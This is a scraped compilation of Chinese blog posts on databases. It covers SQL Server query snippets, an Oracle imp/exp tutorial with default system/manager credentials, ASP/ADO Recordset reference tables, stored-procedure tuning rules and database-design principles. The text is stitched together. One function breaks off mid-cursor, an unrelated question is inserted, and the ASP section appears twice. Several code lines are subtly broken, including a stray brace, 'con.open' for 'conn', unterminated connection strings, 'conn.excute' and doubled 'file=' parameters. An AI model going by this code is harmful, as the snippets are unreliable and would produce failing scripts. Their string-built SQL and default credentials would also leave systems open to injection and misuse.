SELECT SUBSTRING(shengri, 3, 2) AS year, SUBSTRING(shengri, 6, 2) AS month,
      SUBSTRING(shengri, 9, 2) AS day
FROM lvshi
WHERE (zhiyezheng = '139770070153')

3、把一个时间类型字段转换成"1970-07-06"


UPDATE lvshi
SET shenling = CONVERT(varchar(4), YEAR(shenling))
      + '-' + CASE WHEN LEN(MONTH(shenling)) = 1 THEN '0' + CONVERT(varchar(2),
      month(shenling)) ELSE CONVERT(varchar(2), month(shenling))
      END + '-' + CASE WHEN LEN(day(shenling)) = 1 THEN '0' + CONVERT(char(2),
      day(shenling)) ELSE CONVERT(varchar(2), day(shenling)) END
WHERE (zhiyezheng = '139770070153')

七、 分区视图
分区视图是提高查询性能的一个很好的办法


--看下面的示例

--示例表
create table tempdb.dbo.t_10(
id int primary key check(id between 1 and 10),name varchar(10))

create table pubs.dbo.t_20(
id int primary key check(id between 11 and 20),name varchar(10))

create table northwind.dbo.t_30(
id int primary key check(id between 21 and 30),name varchar(10))
go

--分区视图
create view v_t
as
select * from tempdb.dbo.t_10
union all
select * from pubs.dbo.t_20
union all
select * from northwind.dbo.t_30
go

--插入数据
insert v_t select 1 ,'aa'
union  all select 2 ,'bb'
union  all select 11,'cc'
union  all select 12,'dd'
union  all select 21,'ee'
union  all select 22,'ff'

--更新数据
update v_t set name=name+'_更新' where right(id,1)=1

--删除测试
delete from v_t where right(id,1)=2

--显示结果
select * from v_t
go

--删除测试
drop table northwind.dbo.t_30,pubs.dbo.t_20,tempdb.dbo.t_10
drop view v_t

/**//*--测试结果

id          name      
----------- ----------
1           aa_更新
11          cc_更新
21          ee_更新

(所影响的行数为 3 行)
==*/


八、 树型的实现


--参考

--树形数据查询示例
--作者: 邹建

--示例数据
create table [tb]([id] int identity(1,1),[pid] int,name varchar(20))
insert [tb] select 0,'中国'
union  all  select 0,'美国'
union  all  select 0,'加拿大'
union  all  select 1,'北京'
union  all  select 1,'上海'
union  all  select 1,'江苏'
union  all  select 6,'苏州'
union  all  select 7,'常熟'
union  all  select 6,'南京'
union  all  select 6,'无锡'
union  all  select 2,'纽约'
union  all  select 2,'旧金山'
go

--查询指定id的所有子
create function f_cid(
@id int
)returns @re table([id] int,[level] int)
as
begin
 declare @l int
 set @l=0
 insert @re select @id,@l
 while @@rowcount>0
 begin
  set @l=@l+1
  insert @re select a.[id],@l
  from [tb] a,@re b
  where a.[pid]=b.[id] and b.[level]=@l-1
 end
/**//**//**//*--如果只显示最明细的子(下面没有子),则加上这个删除
 delete a from @re a
 where exists(
  select 1 from [tb] where [pid]=a.[id])
--*/
 return
end
go

--调用(查询所有的子)
select a.*,层次=b.[level] from [tb] a,f_cid(2)b where a.[id]=b.[id]
go

--删除测试
drop table [tb]
drop function f_cid
go


 

九、 排序问题

CREATE TABLE [t] (
 [id] [int] IDENTITY (1, 1) NOT NULL ,
 [GUID] [uniqueidentifier] NULL
) ON [PRIMARY]
GO

下面这句执行5次


insert t values (newid())

查看执行结果


select * from t

1、 第一种


select * from t
 order by case id when 4 then 1
                  when 5 then 2
                  when 1 then 3
                  when 2 then 4
                  when 3 then 5 end

2、 第二种


select * from t order by (id+2)%6

3、 第三种


select * from t order by charindex(cast(id as varchar),'45123')

4、 第四种


select * from t
WHERE id between 0 and 5
order by charindex(cast(id as varchar),'45123')

5、 第五种


select * from t order by case when id >3 then id-5 else id end

6、 第六种


select * from t order by id / 4 desc,id asc
 

十、 一条语句删除一批记录
首先id列是int标识类类型,然后删除ID值为5,6,8,9,10,11的列,这里的cast函数不能用convert函数代替,而且转换的类型必须是varchar,而不能是char,否则就会执行出你不希望的结果,这里的"5,6,8,9,10,11"可以是你在页面上获取的一个chkboxlist构建成的值,然后用下面的一句就全部删
除了,比循环用多条语句高效吧应该。


delete from [fujian] where charindex(','+cast([id] as varchar)+',',','+'5,6,8,9,10,11,'+',')>0

还有一种就是


delete from table1 where id in(1,2,3,4 )

十一、获取子表内的一列数据的组合字符串
下面这个函数获取05年已经注册了的某个所的律师,唯一一个参数就是事务所的名称,然后返回zhuce字段里包含05字样的所有律师。


CREATE   FUNCTION fn_Get05LvshiNameBySuo  (@p_suo Nvarchar(50))
RETURNS Nvarchar(2000)
AS
BEGIN 
 DECLARE @LvshiNames varchar(2000), @name varchar(50)
 select @LvshiNames=''
 DECLARE lvshi_cursor CURSOR FOR

数据库里有1,2,3,4,5 共5条记录,要用一条sql语句让其排序,使它排列成4,5,1,2,3,怎么写?

 

 


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=628744

--如何在oracle中导入dmp数据库文件?
 2006/2/16 zhanghua first create                            

     Oracle数据导入导出imp/exp就相当于oracle数据还原与备份。exp命令可以把数据从远程数据库服务器导出到本地的dmp文件,imp命令可以把dmp文件从本地导入到远处的数据库服务器中。 利用这个功能可以构建两个相同的数据库,一个用来测试,一个用来正式使用。
 
执行环境:可以在SQLPLUS.EXE或者DOS(命令行)中执行,
 DOS中可以执行时由于 在oracle 8i 中  安装目录\ora81\BIN被设置为全局路径,
 该目录下有EXP.EXE与IMP.EXE文件被用来执行导入导出。
 oracle用java编写,SQLPLUS.EXE、EXP.EXE、IMP.EXE这两个文件有可能是被包装后的类文件。
 SQLPLUS.EXE调用EXP.EXE、IMP.EXE所包裹的类,完成导入导出功能。
 
下面介绍的是导入导出的实例。
数据导出:
 1 将数据库TEST完全导出,用户名system 密码manager 导出到D:\daochu.dmp中
   exp system/manager@TEST file=d:\daochu.dmp full=y
 2 将数据库中system用户与sys用户的表导出
   exp system/manager@TEST file=d:\daochu.dmp owner=(system,sys)
 3 将数据库中的表inner_notify、notify_staff_relat导出
    exp aichannel/aichannel@TESTDB2 file= d:\data\newsmgnt.dmp tables=(inner_notify,notify_staff_relat)

 4 将数据库中的表table1中的字段filed1以"00"打头的数据导出
   exp system/manager@TEST file=d:\daochu.dmp tables=(table1) query=\" where filed1 like '00%'\"
 
  上面是常用的导出,对于压缩,既用winzip把dmp文件可以很好的压缩。
  也可以在上面命令后面 加上 compress=y 来实现。

数据的导入
 1 将D:\daochu.dmp 中的数据导入 TEST数据库中。
   imp system/manager@TEST  file=d:\daochu.dmp
   imp aichannel/aichannel@HUST full=y  file=file= d:\data\newsmgnt.dmp ignore=y
   上面可能有点问题,因为有的表已经存在,然后它就报错,对该表就不进行导入。
   在后面加上 ignore=y 就可以了。
 2 将d:\daochu.dmp中的表table1 导入
 imp system/manager@TEST  file=d:\daochu.dmp  tables=(table1)
 
 基本上上面的导入导出够用了。不少情况要先是将表彻底删除,然后导入。
 
注意:
 操作者要有足够的权限,权限不够它会提示。
 数据库时可以连上的。可以用tnsping TEST 来获得数据库TEST能否连上。

附录一:
 给用户增加导入数据权限的操作
 第一,启动sql*puls
 第二,以system/manager登陆
 第三,create user 用户名 IDENTIFIED BY 密码 (如果已经创建过用户,这步可以省略)
 第四,GRANT CREATE USER,DROP USER,ALTER USER ,CREATE ANY VIEW ,
   DROP ANY VIEW,EXP_FULL_DATABASE,IMP_FULL_DATABASE,
      DBA,CONNECT,RESOURCE,CREATE SESSION  TO 用户名字
 第五, 运行-cmd-进入dmp文件所在的目录,
      imp userid=system/manager full=y file=*.dmp
      或者 imp userid=system/manager full=y file=filename.dmp

 执行示例:
 F:\Work\Oracle_Data\backup>imp userid=test/test full=y file=inner_notify.dmp

屏幕显示
Import: Release 8.1.7.0.0 - Production on 星期四 2月 16 16:50:05 2006
(c) Copyright 2000 Oracle Corporation.  All rights reserved.

连接到: Oracle8i Enterprise Edition Release 8.1.7.0.0 - Production
With the Partitioning option
JServer Release 8.1.7.0.0 - Production

经由常规路径导出由EXPORT:V08.01.07创建的文件
已经完成ZHS16GBK字符集和ZHS16GBK NCHAR 字符集中的导入
导出服务器使用UTF8 NCHAR 字符集 (可能的ncharset转换)
. 正在将AICHANNEL的对象导入到 AICHANNEL
. . 正在导入表                  "INNER_NOTIFY"          4行被导入
准备启用约束条件...
成功终止导入,但出现警告。

 
附录二:
 Oracle 不允许直接改变表的拥有者, 利用Export/Import可以达到这一目的.
  先建立import9.par,
  然后,使用时命令如下:imp parfile=/filepath/import9.par
  例 import9.par 内容如下:
        FROMUSER=TGPMS       
        TOUSER=TGPMS2     (注:把表的拥有者由FROMUSER改为TOUSER,FROMUSER和TOUSER的用户可以不同)          
        ROWS=Y
        INDEXES=Y
        GRANTS=Y
        CONSTRAINTS=Y
        BUFFER=409600
        file==/backup/ctgpc_20030623.dmp
        log==/backup/import_20030623.log

1. ASP与Access数据库连接:
  
<%@ language=VBscript%>
<%
dim conn,mdbfile
mdbfile=server.mappath("数据库名称.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq="&mdbfile
  
%>
  
2. ASP与SQL数据库连接:
  
<%@ language=VBscript%>
<%
dim conn
set conn=server.createobject("ADODB.connection")
conn.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称
%>
  
建立记录集对象:
  
set rs=server.createobject("adodb.recordset")
rs.open SQL语句,conn,3,2
  
  
3. SQL常用命令使用方法:
  
(1) 数据记录筛选:
  
sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"
  
sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名 [desc]"
  
sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"
 
sql="select * from 数据表 where 字段名 in ('值1','值2','值3')"
  
sql="select * from 数据表 where 字段名 between 值1 and 值2"
  
(2) 更新数据记录:
  
sql="update 数据表 set 字段名=字段值 where 条件表达式"
  
sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式"
  
(3) 删除数据记录:
  
sql="delete from 数据表 where 条件表达式"
  
sql="delete from 数据表" (将数据表所有记录删除)
  
(4) 添加数据记录:
  
sql="insert into 数据表 (字段1,字段2,字段3 …) values (值1,值2,值3 …)"
  
sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表)
 
(5) 数据记录统计函数:
  
AVG(字段名) 得出一个表格栏平均值
COUNT(*&brvbar;字段名) 对数据行数的统计或对某一栏有值的数据行数统计
MAX(字段名) 取得一个表格栏最大的值
MIN(字段名) 取得一个表格栏最小的值
SUM(字段名) 把数据栏的值相加
  
引用以上函数的方法:
  
sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
set rs=conn.excute(sql)
  
用 rs("别名") 获取统的计值,其它函数运用同上。
  
(5) 数据表的建立和删除:
  
CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )
  
例:CREATE TABLE tab01(name varchar(50),datetime default now())
  
DROP TABLE 数据表名称 (永久性删除一个数据表)
  
4. 记录集对象的方法:
  
rs.movenext 将记录指针从当前的位置向下移一行
rs.moveprevious 将记录指针从当前的位置向上移一行
rs.movefirst 将记录指针移到数据表第一行
rs.movelast 将记录指针移到数据表最后一行
rs.absoluteposition=N 将记录指针移到数据表第N行
rs.absolutepage=N 将记录指针移到第N页的第一行
rs.pagesize=N 设置每页为N条记录
rs.pagecount 根据 pagesize 的设置返回总页数
rs.recordcount 返回记录总数
rs.bof 返回记录指针是否超出数据表首端,true表示是,false为否
rs.eof 返回记录指针是否超出数据表末端,true表示是,false为否
rs.delete 删除当前记录,但记录指针不会向下移动
rs.addnew 添加记录到数据表末端
rs.update 更新数据表记录
  
---------------------------------------
  
Recordset对象方法
  
Open方法
  
recordset.Open Source,ActiveConnection,CursorType,LockType,Options
  
Source
Recordset对象可以通过Source属性来连接Command对象。Source参数可以是一个Command对象名称、一段SQL命令、一个指定的数据表名称或是一个Stored Procedure。假如省略这个参数,系统则采用Recordset对象的Source属性。
  
ActiveConnection
Recordset对象可以通过ActiveConnection属性来连接Connection对象。这里的ActiveConnection可以是一个Connection对象或是一串包含数据库连接信息(ConnectionString)的字符串参数。
  
CursorType
Recordset对象Open方法的CursorType参数表示将以什么样的游标类型启动数据,包括adOpenForwardOnly、adOpenKeyset、adOpenDynamic及adOpenStatic,分述如下:
--------------------------------------------------------------
常数 常数值 说明
-------------------------------------------------------------
adOpenForwardOnly 0 缺省值,启动一个只能向前移动的游标(Forward Only)。
adOpenKeyset 1 启动一个Keyset类型的游标。
adOpenDynamic 2 启动一个Dynamic类型的游标。
adOpenStatic 3 启动一个Static类型的游标。
-------------------------------------------------------------
以上几个游标类型将直接影响到Recordset对象所有的属性和方法,以下列表说明他们之间的区别。
  
-------------------------------------------------------------
Recordset属性 adOpenForwardOnly adOpenKeyset adOpenDynamic adOpenStatic
-------------------------------------------------------------
AbsolutePage 不支持 不支持 可读写 可读写
AbsolutePosition 不支持 不支持 可读写 可读写
ActiveConnection 可读写 可读写 可读写 可读写
BOF 只读 只读 只读 只读
Bookmark 不支持 不支持 可读写 可读写
CacheSize 可读写 可读写 可读写 可读写
CursorLocation 可读写 可读写 可读写 可读写
CursorType 可读写 可读写 可读写 可读写
EditMode 只读 只读 只读 只读
EOF 只读 只读 只读 只读
Filter 可读写 可读写 可读写 可读写
LockType 可读写 可读写 可读写 可读写
MarshalOptions 可读写 可读写 可读写 可读写
MaxRecords 可读写 可读写 可读写 可读写
PageCount 不支持 不支持 只读 只读
PageSize 可读写 可读写 可读写 可读写
RecordCount 不支持 不支持 只读 只读
Source 可读写 可读写 可读写 可读写
State 只读 只读 只读 只读
Status 只读 只读 只读 只读
AddNew 支持 支持 支持 支持
CancelBatch 支持 支持 支持 支持
CancelUpdate 支持 支持 支持 支持
Clone 不支持 不支持
Close 支持 支持 支持 支持
Delete 支持 支持 支持 支持
GetRows 支持 支持 支持 支持
Move 不支持 支持 支持 支持
MoveFirst 支持 支持 支持 支持
MoveLast 不支持 支持 支持 支持
MoveNext 支持 支持 支持 支持
MovePrevious 不支持 支持 支持 支持
NextRecordset 支持 支持 支持 支持
Open 支持 支持 支持 支持
Requery 支持 支持 支持 支持
Resync 不支持 不支持 支持 支持
Supports 支持 支持 支持 支持
Update 支持 支持 支持 支持
UpdateBatch 支持 支持 支持 支持
--------------------------------------------------------------
其中NextRecordset方法并不适用于Microsoft Access数据库。
  
LockType
Recordset对象Open方法的LockType参数表示要采用的Lock类型,如果忽略这个参数,那么系统会以Recordset对象的LockType属性为预设值。LockType参数包含adLockReadOnly、adLockPrssimistic、adLockOptimistic及adLockBatchOptimistic等,分述如下:
  
-------------------------------------------------------------
常数 常数值 说明
--------------------------------------------------------------
adLockReadOnly 1 缺省值,Recordset对象以只读方式启动,无法运行AddNew、Update及Delete等方法
adLockPrssimistic 2 当数据源正在更新时,系统会暂时锁住其他用户的动作,以保持数据一致性。
adLockOptimistic 3 当数据源正在更新时,系统并不会锁住其他用户的动作,其他用户可以对数据进行增、删、改的操作。
adLockBatchOptimistic 4 当数据源正在更新时,其他用户必须将CursorLocation属性改为adUdeClientBatch才能对数据进行增、
删、改的操作。SQL语句参考及记录集对象详解
1. ASP与Access数据库连接:
  
<%@ language=VBscript%>
<%
dim conn,mdbfile
mdbfile=server.mappath("数据库名称.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq="&mdbfile
  
%>
  
2. ASP与SQL数据库连接:
  
<%@ language=VBscript%>
<%
dim conn
set conn=server.createobject("ADODB.connection") }
con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称
%>
  
建立记录集对象:
  
set rs=server.createobject("adodb.recordset")
rs.open SQL语句,conn,3,2
  
 
3. SQL常用命令使用方法:
  
(1) 数据记录筛选:
  
sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"
  
sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名 [desc]"
  
sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"
  
sql="select * from 数据表 where 字段名 in ('值1','值2','值3')"
  
sql="select * from 数据表 where 字段名 between 值1 and 值2"
  
(2) 更新数据记录:
  
sql="update 数据表 set 字段名=字段值 where 条件表达式"
  
sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式"
  
(3) 删除数据记录:
  
sql="delete from 数据表 where 条件表达式"
  
sql="delete from 数据表" (将数据表所有记录删除)
  
(4) 添加数据记录:
 
sql="insert into 数据表 (字段1,字段2,字段3 …) values (值1,值2,值3 …)"
  
sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表)
  
(5) 数据记录统计函数:
 
AVG(字段名) 得出一个表格栏平均值 ;
COUNT(*&brvbar;字段名) 对数据行数的统计或对某一栏有值的数据行数统计
MAX(字段名) 取得一个表格栏最大的值
MIN(字段名) 取得一个表格栏最小的值
SUM(字段名) 把数据栏的值相加
  
引用以上函数的方法:

sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
set rs=conn.excute(sql)
  
用 rs("别名") 获取统的计值,其它函数运用同上。
 
(5) 数据表的建立和删除:
  
CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )
  
例:CREATE TABLE tab01(name varchar(50),datetime default now())
  
DROP TABLE 数据表名称 (永久性删除一个数据表)
  
4. 记录集对象的方法:

rs.movenext 将记录指针从当前的位置向下移一行
rs.moveprevious 将记录指针从当前的位置向上移一行
rs.movefirst 将记录指针移到数据表第一行
rs.movelast 将记录指针移到数据表最后一行
rs.absoluteposition=N 将记录指针移到数据表第N行
rs.absolutepage=N 将记录指针移到第N页的第一行
rs.pagesize=N 设置每页为N条记录
rs.pagecount 根据 pagesize 的设置返回总页数
rs.recordcount 返回记录总数
rs.bof 返回记录指针是否超出数据表首端,true表示是,false为否
rs.eof 返回记录指针是否超出数据表末端,true表示是,false为否
rs.delete 删除当前记录,但记录指针不会向下移动
rs.addnew 添加记录到数据表末端
rs.update 更新数据表记录
  
---------------------------------------
  
Recordset对象方法
  
Open方法
  
recordset.Open Source,ActiveConnection,CursorType,LockType,Options
  
Source
Recordset对象可以通过Source属性来连接Command对象。Source参数可以是一个Command对象名称、一段SQL命令、一个指定的数据表名称或是一个Stored Procedure。假如省略这个参数,系统则采用Recordset对象的Source属性。
  
ActiveConnection
Recordset对象可以通过ActiveConnection属性来连接Connection对象。这里的ActiveConnection可以是一个Connection对象或是一串包含数据库连接信息(ConnectionString)的字符串参数。
  
CursorType
Recordset对象Open方法的CursorType参数表示将以什么样的游标类型启动数据,包括adOpenForwardOnly、adOpenKeyset、adOpenDynamic及adOpenStatic,分述如下:
--------------------------------------------------------------
常数 常数值 说明
-------------------------------------------------------------
adOpenForwardOnly 0 缺省值,启动一个只能向前移动的游标(Forward Only)。
adOpenKeyset 1 启动一个Keyset类型的游标。
adOpenDynamic 2 启动一个Dynamic类型的游标。
adOpenStatic 3 启动一个Static类型的游标。
-------------------------------------------------------------
以上几个游标类型将直接影响到Recordset对象所有的属性和方法,以下列表说明他们之间的区别。
  
-------------------------------------------------------------
Recordset属性 adOpenForwardOnly adOpenKeyset adOpenDynamic adOpenStatic
-------------------------------------------------------------
AbsolutePage 不支持 不支持 可读写 可读写
AbsolutePosition 不支持 不支持 可读写 可读写
ActiveConnection 可读写 可读写 可读写 可读写
BOF 只读 只读 只读 只读
Bookmark 不支持 不支持 可读写 可读写
CacheSize 可读写 可读写 可读写 可读写
CursorLocation 可读写 可读写 可读写 可读写
CursorType 可读写 可读写 可读写 可读写
EditMode 只读 只读 只读 只读
EOF 只读 只读 只读 只读
Filter 可读写 可读写 可读写 可读写
LockType 可读写 可读写 可读写 可读写
MarshalOptions 可读写 可读写 可读写 可读写
MaxRecords 可读写 可读写 可读写 可读写
PageCount 不支持 不支持 只读 只读
PageSize 可读写 可读写 可读写 可读写
RecordCount 不支持 不支持 只读 只读
Source 可读写 可读写 可读写 可读写
State 只读 只读 只读 只读
Status 只读 只读 只读 只读
AddNew 支持 支持 支持 支持
CancelBatch 支持 支持 支持 支持
CancelUpdate 支持 支持 支持 支持
Clone 不支持 不支持
Close 支持 支持 支持 支持
Delete 支持 支持 支持 支持
GetRows 支持 支持 支持 支持
Move 不支持 支持 支持 支持
MoveFirst 支持 支持 支持 支持
MoveLast 不支持 支持 支持 支持
MoveNext 支持 支持 支持 支持
MovePrevious 不支持 支持 支持 支持
NextRecordset 支持 支持 支持 支持
Open 支持 支持 支持 支持
Requery 支持 支持 支持 支持
Resync 不支持 不支持 支持 支持
Supports 支持 支持 支持 支持
Update 支持 支持 支持 支持
UpdateBatch 支持 支持 支持 支持
--------------------------------------------------------------
其中NextRecordset方法并不适用于Microsoft Access数据库。
  
LockType
Recordset对象Open方法的LockType参数表示要采用的Lock类型,如果忽略这个参数,那么系统会以Recordset对象的LockType属性为预设值。LockType参数包含adLockReadOnly、adLockPrssimistic、adLockOptimistic及adLockBatchOptimistic等,分述如下:
  
-------------------------------------------------------------
常数 常数值 说明
--------------------------------------------------------------
adLockReadOnly 1 缺省值,Recordset对象以只读方式启动,无法运行AddNew、Update及Delete等方法
adLockPrssimistic 2 当数据源正在更新时,系统会暂时锁住其他用户的动作,以保持数据一致性。
adLockOptimistic 3 当数据源正在更新时,系统并不会锁住其他用户的动作,其他用户可以对数据进行增、删、改的操作。
adLockBatchOptimistic 4 当数据源正在更新时,其他用户必须将CursorLocation属性改为adUdeClientBatch才能对数据进行增、
删、改的操作。

 

 

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=480992
RS.OPEN SQL,CONN,A,B
A:

ADOPENFORWARDONLY(=0)
只读,且当前数据记录只能向下移动

ADOPENKEYSET(=1)
只读,当前数据记录可自由移动

ADOPENDYNAMIC(=2)
可读写,当前数据记录可自由移动

ADOPENSTATIC(=3)
可读写,当前数据记录可自由移动,可看到新增记录

B:

ADLOCKREADONLY(=1)
缺省锁定类型,记录集是只读的,不能修改记录

ADLOCKPESSIMISTIC(=2)
悲观锁定,当修改记录时,数据提供者将尝试锁定记录以确保成功地编辑记录。只要编辑一开始,则立即锁住记录。

ADLOCKOPTIMISTIC(=3)
乐观锁定 ,直到用Update方法提交更新记录时才锁定记录。

ADLOCKBATCHOPTIMISTIC(=4)
批量乐观锁定,允许修改多个记录,只有调用UpdateBatch方法后才锁定记录。

当不需要改动任何记录时,应该使用只读的记录集,这样提供者不用做任何检测。
对于一般的使用,乐观的锁定可能是最好的选择,因为记录只被锁定一小段时间,
数据在这段时间被更新。这减少了资源的使用。


--1:获取当前数据库中的所有用户表
select Name from sysobjects where xtype='u' and status>=0

--2:获取某一个表的所有字段

select name from syscolumns where id=object_id('表名')

--3:查看与某一个表相关的视图、存储过程、函数

select a.* from sysobjects a, syscomments b where a.id = b.id and b.text like '%表名%'

--4:查看当前数据库中所有存储过程

select name as 存储过程名称 from sysobjects where xtype='P'

--5:查询用户创建的所有数据库

select * from master..sysdatabases D where sid not in(select sid from master..syslogins where name='sa')

或者

select dbid, name AS DB_NAME from master..sysdatabases where sid <> 0x01

--6:查询某一个表的字段和数据类型

select column_name,data_type from information_schema.columns
where table_name = '表名'

 

 
一、适合读者对象:数据库开发程序员,数据库的数据量很多,涉及到对SP(存储过程)的优化的项目开发人员,对数据库有浓厚兴趣的人。  

  二、介绍:在数据库的开发过程中,经常会遇到复杂的业务逻辑和对数据库的操作,这个时候就会用SP来封装数据库操作。如果项目的SP较多,书写又没有一定的规范,将会影响以后的系统维护困难和大SP逻辑的难以理解,另外如果数据库的数据量大或者项目对SP的性能要求很,就会遇到优化的问题,否则速度有可能很慢,经过亲身经验,一个经过优化过的SP要比一个性能差的SP的效率甚至高几百倍。  

  三、内容:  

  1、开发人员如果用到其他库的Table或View,务必在当前库中建立View来实现跨库操作,最好不要直接使用“databse.dbo.table_name”,因为sp_depends不能显示出该SP所使用的跨库table或view,不方便校验。  

  2、开发人员在提交SP前,必须已经使用set showplan on分析过查询计划,做过自身的查询优化检查。  

  3、高程序运行效率,优化应用程序,在SP编写过程中应该注意以下几点:   

  a)SQL的使用规范:

   i. 尽量避免大事务操作,慎用holdlock子句,提高系统并发能力。

   ii. 尽量避免反复访问同一张或几张表,尤其是数据量较大的表,可以考虑先根据条件提取数据到临时表中,然后再做连接。

   iii. 尽量避免使用游标,因为游标的效率较差,如果游标操作的数据超过1万行,那么就应该改写;如果使用了游标,就要尽量避免在游标循环中再进行表连接的操作。

   iv. 注意where字句写法,必须考虑语句顺序,应该根据索引顺序、范围大小来确定条件子句的前后顺序,尽可能的让字段顺序与索引顺序相一致,范围从大到小。

   v. 不要在where子句中的“=”左边进行函数、算术运算或其他表达式运算,否则系统将可能无法正确使用索引。

   vi. 尽量使用exists代替select count(1)来判断是否存在记录,count函数只有在统计表中所有行数时使用,而且count(1)比count(*)更有效率。

   vii. 尽量使用“>=”,不要使用“>”。

   viii. 注意一些or子句和union子句之间的替换

   ix. 注意表之间连接的数据类型,避免不同类型数据之间的连接。

   x. 注意存储过程中参数和数据类型的关系。

   xi. 注意insert、update操作的数据量,防止与其他应用冲突。如果数据量超过200个数据页面(400k),那么系统将会进行锁升级,页级锁会升级成表级锁。   

  b)索引的使用规范:

   i. 索引的创建要与应用结合考虑,建议大的OLTP表不要超过6个索引。

   ii. 尽可能的使用索引字段作为查询条件,尤其是聚簇索引,必要时可以通过index index_name来强制指定索引

   iii. 避免对大表查询时进行table scan,必要时考虑新建索引。

   iv. 在使用索引字段作为条件时,如果该索引是联合索引,那么必须使用到该索引中的第一个字段作为条件时才能保证系统使用该索引,否则该索引将不会被使用。

   v. 要注意索引的维护,周期性重建索引,重新编译存储过程。  

  c)tempdb的使用规范:

   i. 尽量避免使用distinct、order by、group by、having、join、cumpute,因为这些语句会加重tempdb的负担。

   ii. 避免频繁创建和删除临时表,减少系统表资源的消耗。

   iii. 在新建临时表时,如果一次性插入数据量很大,那么可以使用select into代替create table,避免log,提高速度;如果数据量不大,为了缓和系统表的资源,建议先create table,然后insert。

   iv. 如果临时表的数据量较大,需要建立索引,那么应该将创建临时表和建立索引的过程放在单独一个子存储过程中,这样才能保证系统能够很好的使用到该临时表的索引。

    v. 如果使用到了临时表,在存储过程的最后务必将所有的临时表显式删除,先truncate table,然后drop table,这样可以避免系统表的较长时间锁定。

    vi. 慎用大的临时表与其他大表的连接查询和修改,减低系统表负担,因为这种操作会在一条语句中多次使用tempdb的系统表。  
  d)合理的算法使用:   

  根据上面已提到的SQL优化技术和ASE Tuning手册中的SQL优化内容,结合实际应用,采用多种算法进行比较,以获得消耗资源最少、效率最高的方法。具体可用ASE调优命令:set statistics io on, set statistics time on , set showplan on 等。
  1. 原始单据与实体之间的关系

  可以是一对一、一对多、多对多的关系。在一般情况下,它们是一对一的关系:即一张原始单据对

应且只对应一个实体。在特殊情况下,它们可能是一对多或多对一的关系,即一张原始单证对应多个实

体,或多张原始单证对应一个实体。这里的实体可以理解为基本表。明确这种对应关系后,对我们设计

录入界面大有好处。
  〖例1〗:一份员工履历资料,在人力资源信息系统中,就对应三个基本表:员工基本情况表、社会

关系表、工作简历表。这就是“一张原始单证对应多个实体”的典型例子。

   2. 主键与外键

  一般而言,一个实体不能既无主键又无外键。在E—R 图中, 处于叶子部位的实体, 可以定义主键,

也可以不定义主键(因为它无子孙), 但必须要有外键(因为它有父亲)。
  主键与外键的设计,在全局数据库的设计中,占有重要地位。当全局数据库的设计完成以后,有个

美国数据库设计专家说:“键,到处都是键,除了键之外,什么也没有”,这就是他的数据库设计经验

之谈,也反映了他对信息系统核心(数据模型)的高度抽象思想。因为:主键是实体的高度抽象,主键与

外键的配对,表示实体之间的连接。

   3. 基本表的性质

  基本表与中间表、临时表不同,因为它具有如下四个特性:
   (1) 原子性。基本表中的字段是不可再分解的。
   (2) 原始性。基本表中的记录是原始数据(基础数据)的记录。
   (3) 演绎性。由基本表与代码表中的数据,可以派生出所有的输出数据。
   (4) 稳定性。基本表的结构是相对稳定的,表中的记录是要长期保存的。
  理解基本表的性质后,在设计数据库时,就能将基本表与中间表、临时表区分开来。

   4. 范式标准
 
   基本表及其字段之间的关系, 应尽量满足第三范式。但是,满足第三范式的数据库设计,往往不是

最好的设计。为了提高数据库的运行效率,常常需要降低范式标准:适当增加冗余,达到以空间换时间

的目的。
  〖例2〗:有一张存放商品的基本表,如表1所示。“金额”这个字段的存在,表明该表的设计不满

足第三范式,因为“金额”可以由“单价”乘以“数量”得到,说明“金额”是冗余字段。但是,增加

“金额”这个冗余字段,可以提高查询统计的速度,这就是以空间换时间的作法。
  在Rose 2002中,规定列有两种类型:数据列和计算列。“金额”这样的列被称为“计算列”,而“

单价”和“数量”这样的列被称为“数据列”。
  表1 商品表的表结构
  商品名称 商品型号 单价 数量 金额
  电视机 29吋 2,500 40 100,000
  
   5. 通俗地理解三个范式

  通俗地理解三个范式,对于数据库设计大有好处。在数据库设计中,为了更好地应用三个范式,就

必须通俗地理解三个范式(通俗地理解是够用的理解,并不是最科学最准确的理解):
  第一范式:1NF是对属性的原子性约束,要求属性具有原子性,不可再分解;
  第二范式:2NF是对记录的惟一性约束,要求记录有惟一标识,即实体的惟一性;
  第三范式:3NF是对字段冗余性的约束,即任何字段不能由其他字段派生出来,它要求字段没有冗余


  没有冗余的数据库设计可以做到。但是,没有冗余的数据库未必是最好的数据库,有时为了提高运

行效率,就必须降低范式标准,适当保留冗余数据。具体做法是:在概念数据模型设计时遵守第三范式

,降低范式标准的工作放到物理数据模型设计时考虑。降低范式就是增加字段,允许冗余。

   6. 要善于识别与正确处理多对多的关系

  若两个实体之间存在多对多的关系,则应消除这种关系。消除的办法是,在两者之间增加第三个实

体。这样,原来一个多对多的关系,现在变为两个一对多的关系。要将原来两个实体的属性合理地分配

到三个实体中去。这里的第三个实体,实质上是一个较复杂的关系,它对应一张基本表。一般来讲,数

据库设计工具不能识别多对多的关系,但能处理多对多的关系。
